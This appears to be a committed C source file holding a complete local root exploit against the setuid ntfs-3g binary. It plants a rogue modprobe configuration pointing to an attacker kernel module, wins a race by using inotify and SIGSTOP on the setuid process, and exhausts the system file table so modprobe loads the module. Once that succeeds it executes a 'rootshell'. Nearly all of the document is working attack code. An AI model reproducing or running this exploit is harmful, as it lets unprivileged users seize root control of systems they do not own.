|
| 1 | +#define _GNU_SOURCE |
| 2 | +#include <stdbool.h> |
| 3 | +#include <errno.h> |
| 4 | +#include <sys/inotify.h> |
| 5 | +#include <unistd.h> |
| 6 | +#include <err.h> |
| 7 | +#include <stdlib.h> |
| 8 | +#include <sys/stat.h> |
| 9 | +#include <sys/types.h> |
| 10 | +#include <fcntl.h> |
| 11 | +#include <sys/eventfd.h> |
| 12 | +#include <signal.h> |
| 13 | +#include <poll.h> |
| 14 | +#include <stdio.h> |
| 15 | +#include <sys/prctl.h> |
| 16 | +#include <string.h> |
| 17 | +#include <sys/wait.h> |
| 18 | +#include <time.h> |
| 19 | +#include <sys/utsname.h> |
| 20 | + |
| 21 | +int main(void) { |
| 22 | + /* prevent shell from backgrounding ntfs-3g when stopped */ |
| 23 | + pid_t initial_fork_child = fork(); |
| 24 | + if (initial_fork_child == -1) |
| 25 | + err(1, "initial fork"); |
| 26 | + if (initial_fork_child != 0) { |
| 27 | + int status; |
| 28 | + if (waitpid(initial_fork_child, &status, 0) != initial_fork_child) |
| 29 | + err(1, "waitpid"); |
| 30 | + execl("rootshell", "rootshell", NULL); |
| 31 | + exit(0); |
| 32 | + } |
| 33 | + |
| 34 | + char buf[1000] = {0}; |
| 35 | + // Set up workspace with volume, mountpoint, modprobe config and module directory. |
| 36 | + char template[] = "/tmp/ntfs_sploit.XXXXXX"; |
| 37 | + if (mkdtemp(template) == NULL) |
| 38 | + err(1, "mkdtemp"); |
| 39 | + char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100]; |
| 40 | + sprintf(volume, "%s/volume", template); |
| 41 | + sprintf(mountpoint, "%s/mountpoint", template); |
| 42 | + sprintf(modprobe_confdir, "%s/modprobe.d", template); |
| 43 | + sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir); |
| 44 | + if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777)) |
| 45 | + err(1, "mkdir"); |
| 46 | + int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666); |
| 47 | + if (conffd == -1) |
| 48 | + err(1, "open modprobe config"); |
| 49 | + int suidfile_fd = open("rootshell", O_RDONLY); |
| 50 | + if (suidfile_fd == -1) |
| 51 | + err(1, "unable to open ./rootshell"); |
| 52 | + char modprobe_config[200]; |
| 53 | + sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd); |
| 54 | + if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config)) |
| 55 | + errx(1, "modprobe config write failed"); |
| 56 | + close(conffd); |
| 57 | + // module directory setup |
| 58 | + char system_cmd[1000]; |
| 59 | + sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/", |
| 60 | + template, template); |
| 61 | + if (system(system_cmd)) |
| 62 | + errx(1, "shell command failed"); |
| 63 | + |
| 64 | + // Set up inotify watch for /proc/mounts. |
| 65 | + // Note: /proc/mounts is a symlink to /proc/self/mounts, so |
| 66 | + // the watch will only see accesses by this process. |
| 67 | + int inotify_fd = inotify_init1(IN_CLOEXEC); |
| 68 | + if (inotify_fd == -1) |
| 69 | + err(1, "unable to create inotify fd?"); |
| 70 | + if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1) |
| 71 | + err(1, "unable to watch /proc/mounts"); |
| 72 | + |
| 73 | + // Set up inotify watch for /proc/filesystems. |
| 74 | + // This can be used to detect whether we lost the race. |
| 75 | + int fs_inotify_fd = inotify_init1(IN_CLOEXEC); |
| 76 | + if (fs_inotify_fd == -1) |
| 77 | + err(1, "unable to create inotify fd?"); |
| 78 | + if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1) |
| 79 | + err(1, "unable to watch /proc/filesystems"); |
| 80 | + |
| 81 | + // Set up inotify watch for /sbin/modprobe. |
| 82 | + // This can be used to detect when we can release all our open files. |
| 83 | + int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC); |
| 84 | + if (modprobe_inotify_fd == -1) |
| 85 | + err(1, "unable to create inotify fd?"); |
| 86 | + if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1) |
| 87 | + err(1, "unable to watch /sbin/modprobe"); |
| 88 | + |
| 89 | + int do_exec_pipe[2]; |
| 90 | + if (pipe2(do_exec_pipe, O_CLOEXEC)) |
| 91 | + err(1, "pipe"); |
| 92 | + pid_t child = fork(); |
| 93 | + if (child == -1) |
| 94 | + err(1, "fork"); |
| 95 | + if (child != 0) { |
| 96 | + if (read(do_exec_pipe[0], buf, 1) != 1) |
| 97 | + errx(1, "pipe read failed"); |
| 98 | + char modprobe_opts[300]; |
| 99 | + sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template); |
| 100 | + setenv("MODPROBE_OPTIONS", modprobe_opts, 1); |
| 101 | + execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL); |
| 102 | + } |
| 103 | + child = getpid(); |
| 104 | + |
| 105 | + // Now launch ntfs-3g and wait until it opens /proc/mounts |
| 106 | + if (write(do_exec_pipe[1], buf, 1) != 1) |
| 107 | + errx(1, "pipe write failed"); |
| 108 | + |
| 109 | + if (read(inotify_fd, buf, sizeof(buf)) <= 0) |
| 110 | + errx(1, "inotify read failed"); |
| 111 | + if (kill(getppid(), SIGSTOP)) |
| 112 | + err(1, "can't stop setuid parent"); |
| 113 | + |
| 114 | + // Check whether we won the main race. |
| 115 | + struct pollfd poll_fds[1] = {{ |
| 116 | + .fd = fs_inotify_fd, |
| 117 | + .events = POLLIN |
| 118 | + }}; |
| 119 | + int poll_res = poll(poll_fds, 1, 100); |
| 120 | + if (poll_res == -1) |
| 121 | + err(1, "poll"); |
| 122 | + if (poll_res == 1) { |
| 123 | + puts("looks like we lost the race"); |
| 124 | + if (kill(getppid(), SIGKILL)) |
| 125 | + perror("SIGKILL after lost race"); |
| 126 | + char rm_cmd[100]; |
| 127 | + sprintf(rm_cmd, "rm -rf %s", template); |
| 128 | + system(rm_cmd); |
| 129 | + exit(1); |
| 130 | + } |
| 131 | + puts("looks like we won the race"); |
| 132 | + |
| 133 | + // Open as many files as possible. Whenever we have |
| 134 | + // a bunch of open files, move them into a new process. |
| 135 | + int total_open_files = 0; |
| 136 | + while (1) { |
| 137 | + #define LIMIT 500 |
| 138 | + int open_files[LIMIT]; |
| 139 | + bool reached_limit = false; |
| 140 | + int n_open_files; |
| 141 | + for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) { |
| 142 | + open_files[n_open_files] = eventfd(0, 0); |
| 143 | + if (open_files[n_open_files] == -1) { |
| 144 | + if (errno != ENFILE) |
| 145 | + err(1, "eventfd() failed"); |
| 146 | + printf("got ENFILE at %d total\n", total_open_files); |
| 147 | + reached_limit = true; |
| 148 | + break; |
| 149 | + } |
| 150 | + total_open_files++; |
| 151 | + } |
| 152 | + pid_t fd_stasher_child = fork(); |
| 153 | + if (fd_stasher_child == -1) |
| 154 | + err(1, "fork (for eventfd holder)"); |
| 155 | + if (fd_stasher_child == 0) { |
| 156 | + prctl(PR_SET_PDEATHSIG, SIGKILL); |
| 157 | + // close PR_SET_PDEATHSIG race window |
| 158 | + if (getppid() != child) raise(SIGKILL); |
| 159 | + while (1) pause(); |
| 160 | + } |
| 161 | + for (int i = 0; i < n_open_files; i++) |
| 162 | + close(open_files[i]); |
| 163 | + if (reached_limit) |
| 164 | + break; |
| 165 | + } |
| 166 | + |
| 167 | + // Wake up ntfs-3g and keep allocating files, then free up |
| 168 | + // the files as soon as we're reasonably certain that either |
| 169 | + // modprobe was spawned or the attack failed. |
| 170 | + if (kill(getppid(), SIGCONT)) |
| 171 | + err(1, "SIGCONT"); |
| 172 | + |
| 173 | + time_t start_time = time(NULL); |
| 174 | + while (1) { |
| 175 | + for (int i=0; i<1000; i++) { |
| 176 | + int efd = eventfd(0, 0); |
| 177 | + if (efd == -1 && errno != ENFILE) |
| 178 | + err(1, "gapfiller eventfd() failed unexpectedly"); |
| 179 | + } |
| 180 | + struct pollfd modprobe_poll_fds[1] = {{ |
| 181 | + .fd = modprobe_inotify_fd, |
| 182 | + .events = POLLIN |
| 183 | + }}; |
| 184 | + int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0); |
| 185 | + if (modprobe_poll_res == -1) |
| 186 | + err(1, "poll"); |
| 187 | + if (modprobe_poll_res == 1) { |
| 188 | + puts("yay, modprobe ran!"); |
| 189 | + exit(0); |
| 190 | + } |
| 191 | + if (time(NULL) > start_time + 3) { |
| 192 | + puts("modprobe didn't run?"); |
| 193 | + exit(1); |
| 194 | + } |
| 195 | + } |
| 196 | +} |
0 commit comments